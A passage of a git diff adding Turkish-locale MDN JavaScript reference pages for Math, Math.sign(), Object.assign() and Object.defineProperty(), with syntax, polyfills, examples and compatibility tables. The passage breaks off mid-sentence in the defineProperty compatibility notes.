+ +<p>The trigonometric functions <code>sin()</code>, <code>cos()</code>, <code>tan()</code>, <code>asin()</code>, <code>acos()</code>, <code>atan()</code>, and <code>atan2()</code> expect (and return) angles in <em>radians</em>.</p> + +<p>Since humans tend to think in degrees, and some functions (such as CSS transforms) can accept degrees, it is a good idea to keep functions handy that convert between the two:</p> + +<pre class="brush: js"><code class="language-js"><span class="keyword token">function</span> <span class="function token">degToRad</span><span class="punctuation token">(</span><span class="parameter token">degrees</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="keyword token">return</span> degrees <span class="operator token">*</span> (Math<span class="punctuation token">.</span><span class="constant token">PI</span> <span class="operator token">/</span> <span class="number token">180</span><span class="punctuation token">);</span> +<span class="punctuation token">}</span><span class="punctuation token">;</span></code> + +function radToDeg(rad) { + return rad / (Math.PI / 180); +};</pre> + +<h3 id="Calculating_the_height_of_an_equalateral_triangle">Calculating the height of an equalateral triangle</h3> + +<p>If we want to calculate the height of an equalateral triangle, and we know its side length is 100, we can use the formulae <em>length of the adjacent multiplied by the tangent of the angle is equal to the opposite.</em></p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14829/trigonometry.png" style="display: block; margin: 0 auto;"></p> + +<p>In JavaScript, we can do this with the following:</p> + +<pre class="brush: js">50 * Math.tan(degToRad(60)).</pre> + +<p>We use our <code>degToRad()</code> function to convert 60 degrees to radians, as <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/tan"><code>Math.tan()</code></a> expects an input value in radians.</p> + +<h3 id="Returning_a_random_integer_between_two_bounds">Returning a random integer between two bounds</h3> + +<p>This can be achieved with a combination of <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/random">Math.random()</a></code> and <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/floor">Math.floor()</a></code>:</p> + +<pre class="brush: js">function random(min, max) { + const num = Math.floor(Math.random() * (max - min + 1)) + min; + return num; +} + +random(1, 10);</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('ESDraft', '#sec-math-object', 'Math')}}</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + + + +<p>{{Compat("javascript.builtins.Math")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{jsxref("Number")}}</li> +</ul> diff --git a/files/tr/web/javascript/reference/global_objects/math/sign/index.html b/files/tr/web/javascript/reference/global_objects/math/sign/index.html new file mode 100644 index 0000000000..cbed44a438 --- /dev/null +++ b/files/tr/web/javascript/reference/global_objects/math/sign/index.html @@ -0,0 +1,110 @@ +--- +title: Math.sign() +slug: Web/JavaScript/Reference/Global_Objects/Math/sign +translation_of: Web/JavaScript/Reference/Global_Objects/Math/sign +--- +<div>{{JSRef}}</div> + +<div><code><strong>Math.sign()</strong></code> fonksiyonu, parametre olarak aldığı sayının negatif (-1) veya pozitif (1) olduğu bilgisini döndürür. Parametre olarak 0 gönderilirse, +/- 0 döndürür. Sayı pozitifse ayrıca + işareti döndürülmez.</div> + +<div></div> + +<div>{{EmbedInteractiveExample("pages/js/math-sign.html")}}</div> + +<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</div> + +<h2 id="Syntax">Syntax</h2> + +<pre class="syntaxbox">Math.sign(<var>x</var>)</pre> + +<h3 id="Parameters">Parameters</h3> + +<dl> + <dt><code><var>x</var></code></dt> + <dd>A number. If this argument is not a <code>number</code>, it is implicitly converted to one.</dd> +</dl> + +<h3 id="Return_value">Return value</h3> + +<p>A number representing the sign of the given argument:</p> + +<ul> + <li>If the argument is positive, returns <code>1</code>.</li> + <li>If the argument is negative, returns <code>-1</code>.</li> + <li>If the argument is positive zero, returns <code>0</code>.</li> + <li>If the argument is negative zero, returns <code>-0</code>.</li> + <li>Otherwise, {{jsxref("NaN")}} is returned.</li> +</ul> + +<h2 id="Description">Description</h2> + +<p>Because <code>sign()</code> is a static method of <code>Math</code>, you always use it as <code>Math.sign()</code>, rather than as a method of a <code>Math</code> object you created (<code>Math</code> is not a constructor).</p> + +<h2 id="Polyfill">Polyfill</h2> + +<pre class="brush: js">if (!Math.sign) { + Math.sign = function(x) { + // If x is NaN, the result is NaN. + // If x is -0, the result is -0. + // If x is +0, the result is +0. + // If x is negative and not -0, the result is -1. + // If x is positive and not +0, the result is +1. + return ((x > 0) - (x < 0)) || +x; + // A more aesthetic pseudo-representation: + // + // ( (x > 0) ? 1 : 0 ) // if x is positive, then positive one + // + // else (because you can't be both - and +) + // ( (x < 0) ? -1 : 0 ) // if x is negative, then negative one + // || // if x is 0, -0, or NaN, or not a number, + // +x // then the result will be x, (or) if x is + // // not a number, then x converts to number + }; +} +</pre> + +<p>In the above polyfill, no extra type-coercing is needed to make <code>(x > 0)</code> or <code>(x < 0)</code> numbers because subtracting them from each other forces a type conversion from booleans to numbers.</p> + +<h2 id="Examples">Examples</h2> + +<h3 id="Using_Math.sign">Using <code>Math.sign()</code></h3> + +<pre class="brush: js">Math.sign(3); // 1 +Math.sign(-3); // -1 +Math.sign('-3'); // -1 +Math.sign(0); // 0 +Math.sign(-0); // -0 +Math.sign(NaN); // NaN +Math.sign('foo'); // NaN +Math.sign(); // NaN +</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('ESDraft', '#sec-math.sign', 'Math.sign')}}</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<div class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div> + +<p>{{Compat("javascript.builtins.Math.sign")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{jsxref("Math.abs()")}}</li> + <li>{{jsxref("Math.ceil()")}}</li> + <li>{{jsxref("Math.floor()")}}</li> + <li>{{jsxref("Math.round()")}}</li> + <li>{{jsxref("Math.trunc()")}}</li> +</ul> diff --git a/files/tr/web/javascript/reference/global_objects/object/assign/index.html b/files/tr/web/javascript/reference/global_objects/object/assign/index.html new file mode 100644 index 0000000000..9490bcec2d --- /dev/null +++ b/files/tr/web/javascript/reference/global_objects/object/assign/index.html @@ -0,0 +1,311 @@ +--- +title: Object.assign() +slug: Web/JavaScript/Reference/Global_Objects/Object/assign +translation_of: Web/JavaScript/Reference/Global_Objects/Object/assign +--- +<div>{{JSRef}}</div> + +<p><strong><code>Object.assign() </code></strong><code>metodu</code><strong><code> </code></strong><code>bir</code><strong><code> </code></strong><code>ya da daha fazla kaynaktaki sayılabilir özellikteki nesnelerin tüm değerlerini hedef kaynaktaki nesneye kopyalamak için kullanılır. Hedef nesnesini geri döndürür.</code></p> + +<h2 id="Yazım_Şekli">Yazım Şekli</h2> + +<pre class="syntaxbox">Object.assign(<var>hedef_nesne</var>, ...<em>kaynak_nesneler</em>)</pre> + +<h3 id="Değişkenler">Değişkenler</h3> + +<dl> + <dt><code>hedef_nesne</code></dt> + <dd>Kaydedilecek olan hedef nesne.</dd> + <dt><code>kaynak_nesneler</code></dt> + <dd>Kaynak nesne(ler).</dd> +</dl> + +<h3 id="Dönüş_Değeri">Dönüş Değeri</h3> + +<p>Hedef nesne.</p> + +<h2 id="Açıklama">Açıklama</h2> + +<p>Hedef nesnedeki değişkenlerin özellikleri kaynak nesnedeklerle aynı anahtar değerlerine sahipse üzerine yazılır. Daha sonra kaynaklardaki değerler benzer şekilde bir öncekiler gibi üzerine yazılır.</p> + +<p><code>Object.assign() metodu</code> bir kaynak nesnesinden bir hedef nesnesine <code>sadece</code><em> sayılabilir </em>ve sahip olduğu<em> özellikleri</em> kopyalar. Kaynak nesne için <code>[[Get]] ve hedef nesne için [[Set]]'i kullanır, böylelikle <em>getter</em> ve <em>setter</em></code> metodlarını çağırır. Bu nedenle yeni özellikleri sadece kopyalama ya da tanımlamaya karşı hedef nesneye atama yapar. Birleştirme kaynakları <em>getter</em> içeriyorsa, yeni özelliklerin bir prototip halinde birleştirilmesi uygun olmayabilir. Sayılabilir özellikler de dahil olmak üzere özellik tanımlamalarını kopyalamak için, prototiplerdeki {{jsxref("Object.getOwnPropertyDescriptor()")}} yerine {{jsxref("Object.defineProperty()")}} kullanılmalıdır.</p> + +<p>{{jsxref("String")}} ve {{jsxref("Symbol")}} özelliklerin her ikisi de kopyalanır.</p> + +<p>Hata durumunda,örneğin bir özelliklik yazılamaz durumda ise, bir {{jsxref("TypeError")}} durumu oluşacaktır ve hedef nesne değişmeden kalacaktır.</p> + +<p><code>Object.assign() metodu kaynak nesnelerdeki</code> {{jsxref("null")}} ya da {{jsxref("undefined")}} durumlarını fırlatmayacağını not ediniz.</p> + +<h2 id="Örnekler">Örnekler</h2> + +<h3 id="Nesne_klonlama">Nesne klonlama</h3> + +<pre class="brush: js">var obj = { a: 1 }; +var copy = Object.assign({}, obj); +console.log(copy); // { a: 1 } +</pre> + +<h3 id="Deep_Clone" name="Deep_Clone">Derin Klonlamada Bir Uyarı</h3> + +<p>Derin klonlama(kopyalama) için, diğer alternatiflere ihtiyacımız vardır. Çünkü <code>Object.assign() özellikleri kopyalar. Eğer kaynak değeri bir nesnenin referansı ise sadece referans değerini kopyalar.</code></p> + +<pre class="brush: js">function test() { + 'use strict'; + + let obj1 = { a: 0 , b: { c: 0}}; + let obj2 = Object.assign({}, obj1); + console.log(JSON.stringify(obj2)); // { a: 0, b: { c: 0}} + + obj1.a = 1; + console.log(JSON.stringify(obj1)); // { a: 1, b: { c: 0}} + console.log(JSON.stringify(obj2)); // { a: 0, b: { c: 0}} + + obj2.a = 2; + console.log(JSON.stringify(obj1)); // { a: 1, b: { c: 0}} + console.log(JSON.stringify(obj2)); // { a: 2, b: { c: 0}} + + obj2.b.c = 3; + console.log(JSON.stringify(obj1)); // { a: 1, b: { c: 3}} + console.log(JSON.stringify(obj2)); // { a: 2, b: { c: 3}} + + // Deep Clone + obj1 = { a: 0 , b: { c: 0}}; + let obj3 = JSON.parse(JSON.stringify(obj1)); + obj1.a = 4; + obj1.b.c = 4; + console.log(JSON.stringify(obj3)); // { a: 0, b: { c: 0}} +} + +test();</pre> + +<h3 id="Nesneleri_Birleştirme">Nesneleri Birleştirme</h3> + +<pre class="brush: js">var o1 = { a: 1 }; +var o2 = { b: 2 }; +var o3 = { c: 3 }; + +var obj = Object.assign(o1, o2, o3); +console.log(obj); // { a: 1, b: 2, c: 3 } +console.log(o1); // { a: 1, b: 2, c: 3 } // hedef nesnenin kendisi değişti.</pre> + +<h3 id="Nesneleri_Aynı_Özelliklerde_Birleştirme">Nesneleri Aynı Özelliklerde Birleştirme</h3> + +<pre class="brush: js">var o1 = { a: 1, b: 1, c: 1 }; +var o2 = { b: 2, c: 2 }; +var o3 = { c: 3 }; + +var obj = Object.assign({}, o1, o2, o3); +console.log(obj); // { a: 1, b: 2, c: 3 } +</pre> + +<p>Özellikler diğer nesneler tarafından parametreler içindeki sonra gelen aynı özelliklerdeki nesnelerin özellikleri olarak üzerine yazıldı.</p> + +<h3 id="Sembol-Tipdeki_Özellikleri_Kopyalama">Sembol-Tipdeki Özellikleri Kopyalama </h3> + +<pre class="brush: js">var o1 = { a: 1 }; +var o2 = { [Symbol('foo')]: 2 }; + +var obj = Object.assign({}, o1, o2); +console.log(obj); // { a : 1, [Symbol("foo")]: 2 } (cf. bug 1207182 on Firefox) +Object.getOwnPropertySymbols(obj); // [Symbol(foo)] + +</pre> + +<h3 id="Prototipteki_Zincirleme_Özellikler_ve_Sayılamayan_Özellikler_Kopyalanamaz">Prototipteki Zincirleme Özellikler ve Sayılamayan Özellikler Kopyalanamaz</h3> + +<pre class="brush: js">var obj = Object.create({ foo: 1 }, { // foo is on obj's prototype chain. + bar: { + value: 2 // bar sayılamayan özellik + }, + baz: { + value: 3, + enumerable: true // baz sayılabilen özellik + } +}); + +var copy = Object.assign({}, obj); +console.log(copy); // { baz: 3 } + +</pre> + +<h3 id="Değişken_Tipleri_Objelere_Sarmalanır">Değişken Tipleri Objelere Sarmalanır</h3> + +<pre class="brush: js">var v1 = 'abc'; +var v2 = true; +var v3 = 10; +var v4 = Symbol('foo'); + +var obj = Object.assign({}, v1, null, v2, undefined, v3, v4); +// Değişken tipleri sarmalanır, null ve undefined görmezden gelinir. +// Sadece string tipteki değişkenler sayılabilir özelliktedir. +console.log(obj); // { "0": "a", "1": "b", "2": "c" } + +</pre> + +<h3 id="Hatalar_Devam_Eden_Kopyalama_İşlemlerini_Kesintiye_Uğratır">Hatalar Devam Eden Kopyalama İşlemlerini Kesintiye Uğratır</h3> + +<pre class="brush: js">var target = Object.defineProperty({}, 'foo', { + value: 1, + writable: false +}); // target.foo sadece-okunabilir özellik + +Object.assign(target, { bar: 2 }, { foo2: 3, foo: 3, foo3: 3 }, { baz: 4 }); +// TypeError: "foo" sadece-okunabilir özellik +// foo hedefe aktarma sırasında hata fırlatır + +console.log(target.bar); // 2: ilk kaynak başarıyla kopyalandı. +console.log(target.foo2); // 3: ikinci kaynağın ilk özelliği başarıyla kopyalandı. +console.log(target.foo); // 1: burada hata oluşur. +console.log(target.foo3); // undefined: atama metodu bitti, foo3 kopyalanmayacak. +console.log(target.baz); // undefined: üçüncü kaynak da kopyalanmayacak. +</pre> + +<h3 id="Erişimcileri_Kopyalama">Erişimcileri Kopyalama</h3> + +<pre class="brush: js">var obj = { + foo: 1, + get bar() { + return 2; + } +}; + +var copy = Object.assign({}, obj); +console.log(copy); +// { foo: 1, bar: 2 }, the value of copy.bar is obj.bar's getter's return value. + +// This is an assign function that copies full descriptors +function completeAssign(target, ...sources) { + sources.forEach(source => { + let descriptors = Object.keys(source).reduce((descriptors, key) => { + descriptors[key] = Object.getOwnPropertyDescriptor(source, key); + return descriptors; + }, {}); + // by default, Object.assign copies enumerable Symbols too + Object.getOwnPropertySymbols(source).forEach(sym => { + let descriptor = Object.getOwnPropertyDescriptor(source, sym); + if (descriptor.enumerable) { + descriptors[sym] = descriptor; + } + }); + Object.defineProperties(target, descriptors); + }); + return target; +} + +var copy = completeAssign({}, obj); +console.log(copy); +// { foo:1, get bar() { return 2 } } +</pre> + +<h2 id="Polyfill">Polyfill</h2> + +<p> ES5 sembol özelliğine sahip olmadığından {{Glossary("Polyfill","polyfill")}} sembol özelliği desteklenmez:</p> + +<pre class="brush: js">if (typeof Object.assign != 'function') { + Object.assign = function(target, varArgs) { // .length of function is 2 + 'use strict'; + if (target == null) { // TypeError if undefined or null + throw new TypeError('Cannot convert undefined or null to object'); + } + + var to = Object(target); + + for (var index = 1; index < arguments.length; index++) { + var nextSource = arguments[index]; + + if (nextSource != null) { // Skip over if undefined or null + for (var nextKey in nextSource) { + // Avoid bugs when hasOwnProperty is shadowed + if (Object.prototype.hasOwnProperty.call(nextSource, nextKey)) { + to[nextKey] = nextSource[nextKey]; + } + } + } + } + return to; + }; +} +</pre> + +<h2 id="Belirtimler">Belirtimler</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Belirtim</th> + <th scope="col">Durumlar</th> + <th scope="col">Açıklama</th> + </tr> + <tr> + <td>{{SpecName('ES2015', '#sec-object.assign', 'Object.assign')}}</td> + <td>{{Spec2('ES2015')}}</td> + <td>Initial definition.</td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-object.assign', 'Object.assign')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Tarayıcı_Destekleme_Durumu">Tarayıcı Destekleme Durumu</h2> + +<div>{{CompatibilityTable}}</div> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Edge</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatChrome("45")}}</td> + <td>{{CompatGeckoDesktop("34")}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatOpera("32")}}</td> + <td>{{CompatSafari("9")}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Chrome for Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatNo}}</td> + <td>{{CompatChrome("45")}}</td> + <td>{{CompatGeckoMobile("34")}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="Daha_Fazlası_İçin">Daha Fazlası İçin</h2> + +<ul> + <li>{{jsxref("Object.defineProperties()")}}</li> + <li><a href="/en-US/docs/Web/JavaScript/Enumerability_and_ownership_of_properties">Enumerability and ownership of properties</a></li> +</ul> diff --git a/files/tr/web/javascript/reference/global_objects/object/defineproperty/index.html b/files/tr/web/javascript/reference/global_objects/object/defineproperty/index.html new file mode 100644 index 0000000000..ae72df74e5 --- /dev/null +++ b/files/tr/web/javascript/reference/global_objects/object/defineproperty/index.html @@ -0,0 +1,391 @@ +--- +title: Object.defineProperty() +slug: Web/JavaScript/Reference/Global_Objects/Object/defineProperty +translation_of: Web/JavaScript/Reference/Global_Objects/Object/defineProperty +--- +<div>{{JSRef}}</div> + +<p>The <code><strong>Object.defineProperty()</strong></code> method defines a new property directly on an object, or modifies an existing property on an object, and returns the object.</p> + +<p id="Syntax">Syntax</p> + +<pre class="syntaxbox"><code>Object.defineProperty(<var>obj</var>, <var>prop</var>, <var>descriptor</var>)</code></pre> + +<h3 id="Parameters">Parameters</h3> + +<dl> + <dt><code>obj</code></dt> + <dd>The object on which to define the property.</dd> + <dt><code>prop</code></dt> + <dd>The name of the property to be defined or modified.</dd> + <dt><code>descriptor</code></dt> + <dd>The descriptor for the property being defined or modified.</dd> +</dl> + +<h2 id="Description">Description</h2> + +<p>This method allows precise addition to or modification of a property on an object. Normal property addition through assignment creates properties which show up during property enumeration ({{jsxref("Statements/for...in", "for...in")}} loop or {{jsxref("Object.keys")}} method), whose values may be changed, and which may be {{jsxref("Operators/delete", "deleted", "", 1)}}. This method allows these extra details to be changed from their defaults. By default, values added using <code>Object.defineProperty()</code> are immutable.</p> + +<p>Property descriptors present in objects come in two main flavors: data descriptors and accessor descriptors. A <em><dfn>data descriptor</dfn></em> is a property that has a value, which may or may not be writable. An <dfn>accessor descriptor</dfn> is a property described by a getter-setter pair of functions. A descriptor must be one of these two flavors; it cannot be both.</p> + +<p>Both data and accessor descriptors are objects. They share the following required keys:</p> + +<dl> + <dt><code>configurable</code></dt> + <dd><code>true</code> if and only if the type of this property descriptor may be changed and if the property may be deleted from the corresponding object.<br> + <strong>Defaults to <code>false</code>.</strong></dd> + <dt><code>enumerable</code></dt> + <dd><code>true</code> if and only if this property shows up during enumeration of the properties on the corresponding object.<br> + <strong>Defaults to <code>false</code>.</strong></dd> +</dl> + +<p>A data descriptor also has the following optional keys:</p> + +<dl> + <dt><code>value</code></dt> + <dd>The value associated with the property. Can be any valid JavaScript value (number, object, function, etc).<br> + <strong>Defaults to {{jsxref("undefined")}}.</strong></dd> + <dt><code>writable</code></dt> + <dd><code>true</code> if and only if the value associated with the property may be changed with an {{jsxref("Operators/Assignment_Operators", "assignment operator", "", 1)}}.<br> + <strong>Defaults to <code>false</code>.</strong></dd> +</dl> + +<p>An accessor descriptor also has the following optional keys:</p> + +<dl> + <dt><code>get</code></dt> + <dd>A function which serves as a getter for the property, or {{jsxref("undefined")}} if there is no getter. The function return will be used as the value of property.<br> + <strong>Defaults to {{jsxref("undefined")}}.</strong></dd> + <dt><code>set</code></dt> + <dd>A function which serves as a setter for the property, or {{jsxref("undefined")}} if there is no setter. The function will receive as only argument the new value being assigned to the property.<br> + <strong>Defaults to {{jsxref("undefined")}}.</strong></dd> +</dl> + +<p>Bear in mind that these options are not necessarily own properties so, if inherited, will be considered too. In order to ensure these defaults are preserved you might freeze the {{jsxref("Object.prototype")}} upfront, specify all options explicitly, or point to {{jsxref("null")}} as {{jsxref("Object.prototype.__proto__", "__proto__")}} property.</p> + +<pre class="brush: js">// using __proto__ +var obj = {}; +Object.defineProperty(obj, 'key', { + __proto__: null, // no inherited properties + value: 'static' // not enumerable + // not configurable + // not writable + // as defaults +}); + +// being explicit +Object.defineProperty(obj, 'key', { + enumerable: false, + configurable: false, + writable: false, + value: 'static' +}); + +// recycling same object +function withValue(value) { + var d = withValue.d || ( + withValue.d = { + enumerable: false, + writable: false, + configurable: false, + value: null + } + ); + d.value = value; + return d; +} +// ... and ... +Object.defineProperty(obj, 'key', withValue('static')); + +// if freeze is available, prevents adding or +// removing the object prototype properties +// (value, get, set, enumerable, writable, configurable) +(Object.freeze || Object)(Object.prototype); +</pre> + +<h2 id="Examples">Examples</h2> + +<p>If you want to see how to use the <code>Object.defineProperty</code> method with a <em>binary-flags-like</em> syntax, see <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty/Additional_examples">additional examples</a>.</p> + +<h3 id="Creating_a_property">Creating a property</h3> + +<p>When the property specified doesn't exist in the object, <code>Object.defineProperty()</code> creates a new property as described. Fields may be omitted from the descriptor, and default values for those fields are imputed. All of the Boolean-valued fields default to <code>false</code>. The <code>value</code>, <code>get</code>, and <code>set</code> fields default to {{jsxref("undefined")}}. A property which is defined without <code>get</code>/<code>set</code>/<code>value</code>/<code>writable</code> is called “generic” and is “typed” as a data descriptor.</p> + +<pre class="brush: js">var o = {}; // Creates a new object + +// Example of an object property added with defineProperty with a data property descriptor +Object.defineProperty(o, 'a', { + value: 37, + writable: true, + enumerable: true, + configurable: true +}); +// 'a' property exists in the o object and its value is 37 + +// Example of an object property added with defineProperty with an accessor property descriptor +var bValue = 38; +Object.defineProperty(o, 'b', { + get: function() { return bValue; }, + set: function(newValue) { bValue = newValue; }, + enumerable: true, + configurable: true +}); +o.b; // 38 +// 'b' property exists in the o object and its value is 38 +// The value of o.b is now always identical to bValue, unless o.b is redefined + +// You cannot try to mix both: +Object.defineProperty(o, 'conflict', { + value: 0x9f91102, + get: function() { return 0xdeadbeef; } +}); +// throws a TypeError: value appears only in data descriptors, get appears only in accessor descriptors +</pre> + +<h3 id="Modifying_a_property">Modifying a property</h3> + +<p>When the property already exists, <code>Object.defineProperty()</code> attempts to modify the property according to the values in the descriptor and the object's current configuration. If the old descriptor had its <code>configurable</code> attribute set to <code>false</code> (the property is said to be “non-configurable”), then no attribute besides <code>writable</code> can be changed. In that case, it is also not possible to switch back and forth between the data and accessor property types.</p> + +<p>If a property is non-configurable, its <code>writable</code> attribute can only be changed to <code>false</code>.</p> + +<p>A {{jsxref("TypeError")}} is thrown when attempts are made to change non-configurable property attributes (besides the <code>writable</code> attribute) unless the current and new values are the same.</p> + +<h4 id="Writable_attribute">Writable attribute</h4> + +<p>When the <code>writable</code> property attribute is set to <code>false</code>, the property is said to be “non-writable”. It cannot be reassigned.</p> + +<pre class="brush: js">var o = {}; // Creates a new object + +Object.defineProperty(o, 'a', { + value: 37, + writable: false +}); + +console.log(o.a); // logs 37 +o.a = 25; // No error thrown (it would throw in strict mode, even if the value had been the same) +console.log(o.a); // logs 37. The assignment didn't work. +</pre> + +<p>As seen in the example, trying to write into the non-writable property doesn't change it but doesn't throw an error either.</p> + +<h4 id="Enumerable_attribute">Enumerable attribute</h4> + +<p>The <code>enumerable</code> property attribute defines whether the property shows up in a {{jsxref("Statements/for...in", "for...in")}} loop and {{jsxref("Object.keys()")}} or not.</p> + +<pre class="brush: js">var o = {}; +Object.defineProperty(o, 'a', { value: 1, enumerable: true }); +Object.defineProperty(o, 'b', { value: 2, enumerable: false }); +Object.defineProperty(o, 'c', { value: 3 }); // enumerable defaults to false +o.d = 4; // enumerable defaults to true when creating a property by setting it + +for (var i in o) { + console.log(i); +} +// logs 'a' and 'd' (in undefined order) + +Object.keys(o); // ['a', 'd'] + +o.propertyIsEnumerable('a'); // true +o.propertyIsEnumerable('b'); // false +o.propertyIsEnumerable('c'); // false +</pre> + +<h4 id="Configurable_attribute">Configurable attribute</h4> + +<p>The <code>configurable</code> attribute controls at the same time whether the property can be deleted from the object and whether its attributes (other than <code>writable</code>) can be changed.</p> + +<pre class="brush: js">var o = {}; +Object.defineProperty(o, 'a', { + get: function() { return 1; }, + configurable: false +}); + +Object.defineProperty(o, 'a', { configurable: true }); // throws a TypeError +Object.defineProperty(o, 'a', { enumerable: true }); // throws a TypeError +Object.defineProperty(o, 'a', { set: function() {} }); // throws a TypeError (set was undefined previously) +Object.defineProperty(o, 'a', { get: function() { return 1; } }); // throws a TypeError (even though the new get does exactly the same thing) +Object.defineProperty(o, 'a', { value: 12 }); // throws a TypeError + +console.log(o.a); // logs 1 +delete o.a; // Nothing happens +console.log(o.a); // logs 1 +</pre> + +<p>If the <code>configurable</code> attribute of <code>o.a</code> had been <code>true</code>, none of the errors would be thrown and the property would be deleted at the end.</p> + +<h3 id="Adding_properties_and_default_values">Adding properties and default values</h3> + +<p>It's important to consider the way default values of attributes are applied. There is often a difference between simply using dot notation to assign a value and using <code>Object.defineProperty()</code>, as shown in the example below.</p> + +<pre class="brush: js">var o = {}; + +o.a = 1; +// is equivalent to: +Object.defineProperty(o, 'a', { + value: 1, + writable: true, + configurable: true, + enumerable: true +}); + + +// On the other hand, +Object.defineProperty(o, 'a', { value: 1 }); +// is equivalent to: +Object.defineProperty(o, 'a', { + value: 1, + writable: false, + configurable: false, + enumerable: false +}); +</pre> + +<h3 id="Custom_Setters_and_Getters">Custom Setters and Getters</h3> + +<p>Example below shows how to implement a self-archiving object. When <code>temperature</code> property is set, the <code>archive</code> array gets a log entry.</p> + +<pre class="brush: js">function Archiver() { + var temperature = null; + var archive = []; + + Object.defineProperty(this, 'temperature', { + get: function() { + console.log('get!'); + return temperature; + }, + set: function(value) { + temperature = value; + archive.push({ val: temperature }); + } + }); + + this.getArchive = function() { return archive; }; +} + +var arc = new Archiver(); +arc.temperature; // 'get!' +arc.temperature = 11; +arc.temperature = 13; +arc.getArchive(); // [{ val: 11 }, { val: 13 }] +</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('ES5.1', '#sec-15.2.3.6', 'Object.defineProperty')}}</td> + <td>{{Spec2('ES5.1')}}</td> + <td>Initial definition. Implemented in JavaScript 1.8.5.</td> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-object.defineproperty', 'Object.defineProperty')}}</td> + <td>{{Spec2('ES6')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-object.defineproperty', 'Object.defineProperty')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<div>{{CompatibilityTable}}</div> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Firefox (Gecko)</th> + <th>Chrome</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatGeckoDesktop("2")}}</td> + <td>{{CompatChrome("5")}}</td> + <td>{{CompatIE("9")}} [1]</td> + <td>{{CompatOpera("11.60")}}</td> + <td>{{CompatSafari("5.1")}} [2]</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Firefox Mobile (Gecko)</th> + <th>Android</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatGeckoMobile("2")}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatIE("9")}}</td> + <td>{{CompatOperaMobile("11.5")}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<p>[1] In Internet Explorer 8 only on DOM objects and with some non-standard behaviors.</p> + +<p>[2] Also supported in Safari 5, but not on DOM objects.</p> + +<h2 id="Compatibility_notes">Compatibility notes</h2> + +<h3 id="Redefining_the_length_property_of_an_Array_object">Redefining the <code>length</code> property of an <code>Array</code> object</h3> + +<p>It is possible to redefine the {{jsxref("Array.length", "length")}} property of arrays, subject to the usual redefinition restrictions. (The {{jsxref("Array.length", "length")}} property is initially non-configurable, non-enumerable, and writable. Thus on an unaltered array it is possible to change the {{jsxref("Array.length", "length")}} property's value, or to make it non-writable. It is not allowed to change its enumerability or configurability, or if it is non-writable to change its value or writability.) However, not all browsers permit this redefinition.</p> + +<p>Firefox 4 through 22 will throw a {{jsxref("TypeError")}} on any attempt whatsoever (whether permitted or not) to redefine the {{jsxref("Array.length", "length")}} property of an array.</p> + +<p>Versions of Chrome which implement <code>Object.defineProperty()</code> in some circumstances ignore a length value different from the array's current {{jsxref("Array.length", "length")}} property. In some circumstances changing writability seems to silently not work (and not throw an exception). Also, relatedly, some array-mutating methods like {{jsxref("Array.prototype.push")}} don't respect a non-writable length.</p> + +<p>Versions of Safari which implement <code>Object.defineProperty()</code> ignore a <code>length</code> value different from the array's current {{jsxref("Array.length", "length")}} 